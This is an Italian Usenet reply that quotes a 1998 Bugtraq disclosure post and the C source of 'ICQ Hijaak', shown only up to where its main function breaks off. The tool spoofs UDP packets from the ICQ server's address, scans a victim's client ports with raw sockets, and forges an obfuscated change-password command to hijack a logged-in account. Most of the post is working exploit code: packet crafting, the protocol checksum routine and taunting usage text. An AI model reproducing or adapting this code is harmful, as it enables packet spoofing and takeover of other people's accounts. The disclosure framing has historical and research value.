title: Attenti a ICQ !!

author: Gian Uberto Lauri

text:
"Mirkonews" <
mirk...@tuttocitta.it
> writes:
>
> Piuttosto che allarmare la gente, non č meglio sensibilizzare informando?
> Beh, ICQ viene spesso migliorato, corretto dalla casa israelita; invece di
Fa bene a fare come ha fatto.
Subject:      ICQ Hijaaking.. Is YOUR account safe?
The source code here pretty much says it all.  Mirabilis has been extremely
negligent in fixing protocol holes, and this allows accounts to be subverted
with possible leaks of information.
Merely by leaving your ICQ application logged in ( Java _or_ Win32 ) your
account can be hijaaked (the password changed withoyt knowing the original).
An attacker can then use that account to obtain information from people
contacting you, or to do other inappropriate things which would result in
the account being terminated.
I have given Mirabilis fair warning of this attack, and talked with Arik
about what was necessary to fix it.  Unfortunately, with the last four versions
this has not been put into place.  It would seem the only way to fix such
grave problems with their protocol is to air it in the public arena.
There are no real workarounds for this problem, although there are some
obvious workarounds to this exploit (left to the reader).  If you value your
ICQ account, do not log into it until a fix is available.  Otherwise, you
can hope no one bothers to hit your UIN --- there are a huge number and you
might be lucky.
I had to 'shrink' the comments and stuff down to make this fit the 1k line
limit on bugtraq...  *shrug*  Read at your own peril.

/*
 .  ICQ Hijaak
 .  Version 1C
 .
 .  Author:
wum...@innocent.com
 .  Copyright (c) 1998 Wolvesbane
 .
 .  By downloading or compiling this program, you agree to the terms of this
 .  license. If you do not agree with any of these terms you MUST delete this
 .  program immediately from all storage areas (including browser caches).
 .  (A) You agree not to use this program in any way that would constitute a
 .      violate of any applicable laws.  This may included federal laws if you
 .      live in the United States and similar laws regarding computer security
 .      in other countries.
 .  (B) You agree to hold the authors (referred to collective as Wolvesbane)
 .      harmless in any damages that result due to your possession or use of
 .      this software.
 .  (C) Wolvesbane does not claim that this program implements any functions.
 .      As the saying goes, "You get what you pay for." -- And you didn't pay
 .      anything for this.
 .  (D) This software is FREE for _NON-COMMERCIAL_ use.  You may not use this
 .      program for any commercial use (or any other activity which makes you
 .      money with the assistance of this program ).  The author is not
 .      interested in commercial use of this program (and cannot think of what
 .      commercial use would consist of ).
 .  (E) This program was created using Linux with IP-Masquerading to run the
 .      ICQ program unmodified and without any dissassembly.  The testing
 .      was done with volunteers, and with a second computer logged into the
 .      ICQ network.  No ICQ users were harmed in the creation or testing of
 .      this program.
 .  (F) This copyright applies only to the code written by Wolvesbane, and not
 .      to anything included under Fair Use.
 .  (G) Please note that if you use ANY sections of this code in your work,
 .      (which I expressly allow as long as it is NON-COMMERCIAL), you are
 .      obligated to give me some credit in your comments (if it is a source
 .      file ) or in a string constant if it is a binary file.  If you do not
 .      wish to do so, you may NOT include ANY portion of this file in your
 .      own work.
*/
/*
 * UPDATES, for May 31, 1998
 *
 *    I notified Mirabilis about this bug about a month ago (which from
 *    what I recall is the semi-official delay to allow a fix ).
 *    In that time, Mirabilis has gone from DLL 1.22 to DLL 1.26.  This
 *    exploit has been tested again 1.26 and still works.   *ooops*!
 *    This exploit has rather simplistic UDP scanning code... if it doesn't
 *    work (ie, against .se hosts ), then you can't hijaak them.  Sorry, but
 *    I just don't care enough.
 *
 *    Lastly, even a Windows user can get anyone's IP from ICQ by sending a
 *    message to their UIN, and doing a netstat.
 *
 *    With the acquistion of Mirabilis and the ICQ protocol by AOL, I will
 *    no longer be playing with the ICQ protocol.  Prior to that actual event
 *    you might contact me with questions on this program.
 */
/*
 . I am indebted to the author of ICQSNIFF.C, for his clear description of
 . the ICQ protocol (although it has since changed).  And for the idea as
 . well.
 .
 . Some information came from anonymous sources and Usenet postings which
 . I didn't jot down the author.  I apologize to any author who sees his/her
 . ideas in here.  None of this code was "stolen".
 .
*/
/* To quote Arik:
   Arik Vardi (
ar...@ICQ.COM
)
   Mon, 15 Dec 1997 13:55:16 -0500
   Thanks for the vote of confidence.
   Actualy, we don't publish the protocol since it's a work in progress
   and
   we still have pretty major changes from version to version.
   Password encryption will be addressed in the next client release,
   spoofing client messages has already been addressed in our new version
   - ICQ98a, (which is not what you are using) and should not be possible
   once we phase out older clients (hopfuly by the end of this month).
   We apreciate your pointing out vulnrabilities to us and will do our
   best
   to fix them in future releases.
*/
/*
 . Guess what, Arik.  You *lied* about fixing spoofing -- and this proves it.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>        /* for AF_INET */
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
                int * addr_count,
                struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=========================================================================*/
typedef unsigned short int      u16;
typedef unsigned long int       u32;
typedef unsigned char           u8;
/*=========================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))
unsigned char icq_check_data[256] = {
        0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
        0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
        0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
        0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
        0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
        0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
        0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
        0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
        0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
        0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
        0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
        0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
        0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
        0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
        0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
        0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
        0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
        0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
        0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
        0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
        0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
        0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
        0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
        0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
        0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
        0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
        0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
        0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES     255
int Resolve( char * hostname, struct in_addr * addr ) {
        struct hostent * hinfo;
        (void)memset( (void *)addr, 0, sizeof( struct in_addr ));
        if ( inet_aton( hostname, addr) ) return SUCCESS;
        if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;
        (void)memcpy( (void *)addr, (void *)hinfo->h_addr,
                sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
        struct in_addr ** addresses ) {
        int                     host_count;
        int                     i;
        char                    * p;
        struct  in_addr         address;
        struct  hostent         * hinfo;
        if ( inet_aton( hostname, &address ) ) {
                p = (char *)malloc(sizeof(address));
                if ( !p ) {
                        fprintf(stderr,"MultiResolve: Allocation failed!\n");
                        return FAILURE;
                }
                (void)memcpy((void *)p,(void *)&address, sizeof(address) );
                *addr_count = 1;
                *addresses = (struct in_addr *)p; return SUCCESS; }
        if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;
        if ( hinfo->h_length != sizeof( struct in_addr ) ) {
                fprintf(stderr,"MultiResolve:  h_length (%d) not equal "\
                        "to size of struct inaddr (%d) ",
                        hinfo->h_length, sizeof(struct in_addr) );
                return FAILURE;
        }
        host_count = 0;
        for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
                struct in_addr  * addr_ptr;
                addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
                if ( !addr_ptr )
                        break;
                host_count++;
        }
        p = (char *)malloc( host_count * hinfo->h_length );
        if ( !p ) {
                fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
                        host_count * hinfo->h_length );
                return FAILURE;
                }
        *addresses = (struct in_addr *)p;
        for ( i = 0; i < host_count; i++ ) {
                (void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
                        hinfo->h_length ); p += hinfo->h_length; }
        *addr_count = host_count; return SUCCESS; }
#define IP_VERS         0
#define IP_TOS          1
#define IP_TOTLEN       2
#define IP_ID           4
#define IP_FLAGS        6
#define IP_TIMETOLIVE   8
#define IP_PROTOCOL     9
#define IP_CHECKSUM     10
#define IP_SRC          12
#define IP_DST          16
#define IP_END          20
#define UDP_SOURCE      0
#define UDP_DEST        2
#define UDP_LENGTH      4
#define UDP_CHECKSUM    6
#define UDP_END         8
#define UCHDR_SOURCE    0
#define UCHDR_DEST      4
#define UCHDR_PROTOCOL  9
#define UCHDR_UDPLEN    10
#define UCHDR_END       12
#define ICMP_TYPE       0
#define ICMP_CODE       1
#define ICMP_CHECKSUM   2
#define ICMP_END        4
u16 cksum( u16 * buf, int numWords ) {
        u32 sum;
        sum = 0; while ( numWords -- ) { sum += *(buf++); }
        sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );
        return ~sum ; }
void make_ip_hdr(       u8      * packet, int     length, u8      protocol,
         u16     id, u16     flags, struct in_addr  me,
                struct in_addr  you, u8      ttl ) {
        memset( packet, 0, IP_END );
        byte(*packet, IP_VERS ) = 0x45;
        word(*packet, IP_TOTLEN ) = htons( length );
        byte(*packet, IP_TIMETOLIVE ) = ttl;
        byte(*packet, IP_PROTOCOL ) = protocol;
        word(*packet, IP_ID ) = htons( id );
        word(*packet, IP_FLAGS ) = htons( flags );
        dword(*packet,IP_SRC ) = *((u32 *)&me);
        dword(*packet,IP_DST ) = *((u32 *)&you);
        word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr(      u8      * packet, int     udplength, u16     sport,
                        u16     dport ) {
        u8      * udp;
        static  u8      chdr[UCHDR_END];
        u32     pchecksum;
        memset( chdr, 0, UCHDR_END );
        udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );
        memset( udp, 0, UDP_END );
        word(*udp, UDP_SOURCE ) = htons( sport );
        word(*udp, UDP_DEST ) = htons( dport );
        word(*udp, UDP_LENGTH ) = htons( udplength );
        memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
        byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
        word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
        pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
        if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }
        pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
        + (udplength&1)) ) & 0xFFFF; pchecksum    += ( pchecksum >> 16 );
        word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
        int     s;
        int     option;
        s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
        if ( s < 0 ) { perror("Socket:"); exit(-1); }
        option = 1;
        if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
                        (char *)&option,  sizeof( option ) ) < 0 ) {
                perror("Setting IP_HDRINCL"); exit(0); }
        return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr * local )
{
        struct sockaddr_in      laddress;
        struct sockaddr         * laddr = (struct sockaddr *)&laddress;
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     s;
        int     err;
        int     len;
        s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
        if ( s < 1 ) {
                return FAILURE;
        }
        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = remote;
        err = connect(s, raddr, sizeof(raddress ));
        if ( err < 0 ) {
                return FAILURE;
        }
        len = sizeof(laddress);
        err = getsockname(s, laddr, &len );
        if ( err < 0 ) {
                return FAILURE;
        }
        *local = laddress.sin_addr;
        close(s);
        return SUCCESS;
}
int CreateICMPSocket( void )
{
        int s;
        s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
        if ( s < 1 )
                return FAILURE;
        return s;
}
int  SendUDP( int s, struct in_addr source, struct in_addr dest,
                u16 sport, u16 tport )
{
        static u8       packet[576];
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     psize;
        int     err;
        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = dest;
        psize = IP_END + UDP_END + 6;
        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                source, dest, 0x7F );
        make_udp_hdr( packet, psize - IP_END, sport, tport);
        err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
        if ( err != psize ) {
                perror("Sending");
                return FAILURE;
                }
        return SUCCESS;
}
const int       verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
        int             s_icmp;
        struct timeval  start_time, end_time, wait_time;
        fd_set          rdfs;
        int             err;
        static u8       packet[1500]; /* should be max MTU */
        struct sockaddr junkaddr;
        int             junksize;
        u8              * icmphdr;
        u8              * fiphdr;
        u8              * fudphdr;
        int             len;
        int             got_unreach;
        struct in_addr  localaddr;
        int             rawsock;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
         perror("GetLocalAddress"); exit(-1); }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  { perror("Getting ICMP socket"); exit(-1); }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }
        FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
        if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {
                perror("Sending UDP packet"); exit(-1); }
        got_unreach = 0; gettimeofday( &start_time, NULL );
        do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;
                err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
                if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
                if ( !err ) break;
                junksize = sizeof( struct sockaddr );
                err = recvfrom( s_icmp, packet, 1500, 0,
                        &junkaddr, &junksize );
                if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
                        exit(-1); }
                if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                   (dword(*packet, IP_SRC ) != *((u32 *)&addr) )  )
                        goto check_timeout;
                len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                icmphdr = packet + len;
                if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                   (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                        goto check_timeout;
                fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                   ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr)  ) )   )
                        goto check_timeout;
                fudphdr = fiphdr + len;
                if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
                         got_unreach = 1; break; }
check_timeout:
               gettimeofday( &end_time, NULL );
        } while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );
        close( s_icmp ); close( rawsock);
        if ( got_unreach ) return FAILURE;
 else return SUCCESS;
}
typedef struct  foobar
{
        int     next;
        int     prev;
        u16     rem_port;
        int     times;
} port_info;
#define MAX_BURST       128
#define UNUSED_HEAD     MAX_BURST + 1
#define UNUSED_TAIL     MAX_BURST + 2
#define LIVE_HEAD       MAX_BURST + 3
#define LIVE_TAIL       MAX_BURST + 4
#define FIRST_LPORT     55000
#define SEND_COUNT      3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )
{
        int     unused_head;
        int     unused_tail;
        int     live_head;
        int     live_tail;
        int     i;
        port_info       List[ LIVE_TAIL + 1 ];
        int     Current[ MAX_BURST ];
        int     cur_min, cur_max;
        int     now_port;
        int     delay;
        int     my_port;
        int     cur_send;
        struct timeval  wait_time;
        fd_set          rdfs;
        int     err;
        int     s_icmp, rawsock;
        struct in_addr  localaddr;
        *tport = 0;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
                perror("GetLocalAddress"); return FAILURE; }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  {
                perror("Getting ICMP socket"); return FAILURE; }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) {
                perror("Getting Raw socket"); return FAILURE; }
        FD_ZERO( &rdfs );
        FD_SET( s_icmp, &rdfs );
        List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
        List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
        List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
        List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
        List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
        List[ UNUSED_HEAD ].next = UNUSED_TAIL;
        List[ UNUSED_HEAD ].rem_port = 0;
        for ( i = 0; i < MAX_BURST ; i++ ) {
                PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
                 NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
                TIMES( i ) = SEND_COUNT; }
        now_port = start;
        cur_min = now_port;
        cur_max = MAX_BURST;
        my_port = FIRST_LPORT;
        cur_send = 16;
        while ( 1 ) {
                int     cur;
                int     cnt;
                cur_max = cur_send;
                cur_min = now_port;
                cur = List[ LIVE_HEAD ].next;
                cnt = 0;
                while ( NEXT(cur) != -1 ) {
                        if (!cur_max ) {
                                break;
                        }
                        cnt++;
                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, PORT(cur) ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }
                        cur_max--;
                        TIMES(cur)--;
                        cur = NEXT(cur);
                        if ( NEXT(cur) > LIVE_TAIL ) {
                                printf("Ugh! %d \n", NEXT(cur) );
                                exit(-1);
                        }
                }
                for ( i = 0; i < cur_max ; i ++ ) {
                        int node;
                        if ( cur_min > end )
                                break;
                        node = NEXT( UNUSED_HEAD );
                        if ( -1 == NEXT( node ) )
                                break;
                        NEXT( UNUSED_HEAD ) = NEXT( node );
                        PREV( NEXT(node) ) = UNUSED_HEAD;
                        PREV( node ) = PREV( LIVE_TAIL );
                        NEXT( node ) = LIVE_TAIL;
                        NEXT( PREV( node ) ) = node;
                        PREV( NEXT( node ) ) = node;
                        PORT( node ) = cur_min + i;
                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, cur_min+i ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }
                        Current[ i ] = node;
                }
                if ( ( now_port >= end ) &&
                     ( !cnt ) ) {
                        printf("Found nothing!\n");
                        return SUCCESS;
                }
                now_port += cur_max;
                /*
                 * Delay, waiting for responses.  Continue until the
                 * operation times out, meaning that we waited long enough
                 * for a packet..
                 */
                cnt = 0;
                while ( 1 ) {
                        int junksize;
                        static struct sockaddr  junkaddr;
                        static u8 packet[1500];
                        int     len;
                        u8      * icmphdr, * fiphdr, *fudphdr;
                        int     got_port;
                        int     cur;
                        wait_time.tv_usec = 0;
                        wait_time.tv_sec = 5;
                        FD_SET( s_icmp, &rdfs );
                        err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );                        if ( -1 == err ) {
                                perror("UDPSCAN - Select");
                                return FAILURE;
                        }
                        if ( !err )  {
                                break;
                        }
                        junksize = sizeof( struct sockaddr );
                        err = recvfrom( s_icmp, packet, sizeof(packet), 0,
                                &junkaddr, &junksize );
                        if ( -1 == err ) {
                                perror("UDPSCAN - recvfrom: ");
                                exit(-1);
                        }
                        if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                                (dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
                                continue;
                        len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                        icmphdr = packet + len;
                        if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                                (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                                continue;
                        fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                        len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                        if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                                ( (dword(*fiphdr, IP_DST ) !=
                                *((u32 *)&addr)  ) )   )
                                continue;
                        fudphdr = fiphdr + len;
                        got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;
                        if ( ( got_port >= cur_min ) &&
                                ( got_port < (cur_min+cur_max) ) ) {
                                cur = Current[ got_port - cur_min ];
                                PREV( NEXT(cur)  ) = PREV( cur );
                                NEXT( PREV(cur) ) = NEXT( cur );
                                PREV( cur ) = PREV( UNUSED_TAIL );
                                NEXT( cur ) = UNUSED_TAIL;
                                NEXT( PREV( cur ) ) = cur;
                                PREV( NEXT( cur ) ) = cur;
                                cnt++;
                                continue;
                        }
                        /*
                         * if we get here, then it was one of the older
                         * ones, so look through the array for it
                         */
                        cur = NEXT( LIVE_HEAD );
                        while ( NEXT(cur) != -1 ) {
                                if ( PORT(cur) == got_port ) {
                                        PREV( NEXT(cur)  ) = PREV( cur );
                                        NEXT( PREV(cur) ) = NEXT( cur );
                                        PREV( cur ) = PREV( UNUSED_TAIL );
                                        NEXT( cur ) = UNUSED_TAIL;
                                        NEXT( PREV( cur ) ) = cur;
                                        break;
                                }
                                cur = NEXT(cur);
                        }
                        if ( NEXT(cur) == -1 ) {
                                printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
                                        got_port);
                        } else {
                                cnt++;
                        }
                }
                printf("[UDP Scan working] Got %d responses \n", cnt );
                if  ( cnt < ( (cur_send/4) * 3 ) ) {
                        cur_send /= 2;
                        if ( cur_send < 16 ) {
                                cur_send = 16;
                        }
                } else {
                        cur_send *= 2;
                        if ( cur_send > MAX_BURST ) {
                                cur_send = MAX_BURST;
                 } } cur = NEXT( LIVE_HEAD );
                while ( NEXT(cur) != -1 ) {
                        if (!TIMES(cur) ) {
                                printf("SCORE!  Port is %d \n",PORT(cur));
                                close( s_icmp );
                                close( rawsock);
                                *tport = PORT(cur);
                                return SUCCESS;
                        }
                        cur = NEXT(cur);
                }
        }
        close( s_icmp );
        close( rawsock);
        return SUCCESS;
}
#define COMMAND_CHANGEPASSWORD  0x049C
#define COMMAND_LOGOFF  0x0438
#define RESPONSE_ERROR  0x00F0
int WritePacket(u8        * data_ptr,
                int     * size,
                char    * format,
                ...     )
{
        u8              * ptr;
        va_list         ap;
        u32             dword_param;
        u16             word_param;
        u8              byte_param;
        u8              * string_param;
        int             string_length;
        int             * data_length;
        ap = va_start( ap, format );
        ptr = data_ptr;
        while ( *format ) {
                switch ( *format++ ) {
                case 'L':  /* dword */
                        dword_param = va_arg(ap, u32 );
                        *(ptr++) = dword_param & 0xFF;
                        *(ptr++) = (dword_param >> 8 ) & 0xFF;
                        *(ptr++) = (dword_param >> 16) & 0xFF;
                        *(ptr++) = (dword_param >> 24) & 0xFF;
                        break;
                case 'W': /* word */
                        word_param = va_arg(ap, u16 );
                        *(ptr++) = word_param & 0xFF;
                        *(ptr++) = (word_param >> 8 ) & 0xFF;
                        break;
                case 'B': /* Byte */
                        byte_param = va_arg(ap, u8 );
                        *(ptr++) = byte_param;
                        break;
                case 'S': /* ICQ string */
                        string_param = va_arg(ap, u8 * );
                        string_length = strlen( string_param ) + 1;
                        *(ptr++) = (string_length ) & 0xFF;
                        *(ptr++) = (string_length >> 8)  & 0xFF;
                        memcpy( ptr, string_param, string_length );
                        ptr += string_length;
                        break;
                case 'D':  /* pure data with length byte */
                        data_length = va_arg(ap, int * );
                        string_param = va_arg(ap, u8 * );
                        memcpy( ptr, string_param , *data_length );
                        ptr += *data_length;
                        break;
                default:
                        fprintf(stderr,"Invalid type %c \n", *(format-1) );
                        return FAILURE;
                }
        }
        /* return the size taken up */
        *size = (ptr - data_ptr );
        return SUCCESS;
}
u32     icq_uin = -1;
u16     icq_seq = 0;
u16     icq_seq2 = 0;
#define ICQ4_VER        0
#define ICQ4_RANDOM     2
#define ICQ4_ZERO       4
#define ICQ4_COMMAND    6
#define ICQ4_SEQ        8
#define ICQ4_SEQ2       10
#define ICQ4_UID        12
#define ICQ4_CHECK      16
#define ICQ4_END        20
void create_icq4_hdr(
                u8      * data_ptr,
                u16     any_number,
                u16     command,
                int     data_size
                 )
{
u32     check;
u32     check2;
u32     keyvalue;
int     count;
int     length;
int     i;
u8      ofs;
u8      val;
length = data_size + ICQ4_END;
memset( data_ptr, 0, ICQ4_END );
word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
        ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
        u32 * r;
        if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
 *r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}
void    create_icq3_header(     u8 * data_ptr, int * size, u16  command,
 u16  seq1, u16  seq2, u32  UIN )
{
        int     len, len2, err, ofs, val;
        u32     check, check2;
        err = WritePacket( data_ptr,&len, "WWWWL",
                0x03, command, seq1, seq2, UIN );
        if ( err == FAILURE ) {
                printf("Programmer Error in create_icq3_header\n"); exit(-1); }
        check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
                ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
        ofs = random() % len; val = *(data_ptr + ofs );
        check2 = ( ofs << 24 ) | ( val << 16 );
        ofs = random() % 256;
        val = icq_check_data[ ofs ];
        check2 |= ( ofs << 8 ) | ( val );
        check2 ^= 0x00FF00FF; check ^= check2;
        err = WritePacket( (data_ptr + len),&len2,"L", check );
 *size = len + len2; }
static  u8      packet[ 1500 ];
void main( int argc, char ** argv );
void main(  int argc, char ** argv )
{
        int     count;
        int     i;
        u16     j, k;
        struct in_addr * addr_list;
        struct in_addr * target_list;
        int     err;
        struct in_addr  you;
        struct in_addr  me;
        int             rawsock;
        struct sockaddr raddr;
        struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
        int     size;
        u8      * data_ptr;
        u8      * hdr_ptr;
        int     hdr_size;
        u16     your_port;
        int     retries;
        int     base_port;
        if ( argc < 5 ) {
                fprintf(stderr,
"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
"Author:
wum...@innocent.com
    *    Copyright (c) 1998  Wolvesbane\n"
"Usage: \n"
"       hijaak [options] icq-server target-uin target-ip new-password \n"
"\n"
"icq-server:    Packets will be *spoofed* from the (possibly plural) \n"
"               IP addresses of this parameter. \n"
"\n"
"target-uin:    D'Oh!  \n\n"
"target-ip:     Finding this is up to you.  May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
                exit(-1);
        }
        base_port = 0;
        if ( argc > 5 ) { base_port = atoi( argv[5] ); }
        if (!base_port)  base_port = 1024;
        icq_uin = atol( argv[2] );
        if ( !icq_uin ) {
                fprintf(stderr, "Who do you want me to kill, boss? \n");
                exit(-1); }
        err = MultiResolve(argv[3],&count,&target_list);
        if ( err == -1 ) { herror("Resolving target\n"); exit(-1); }
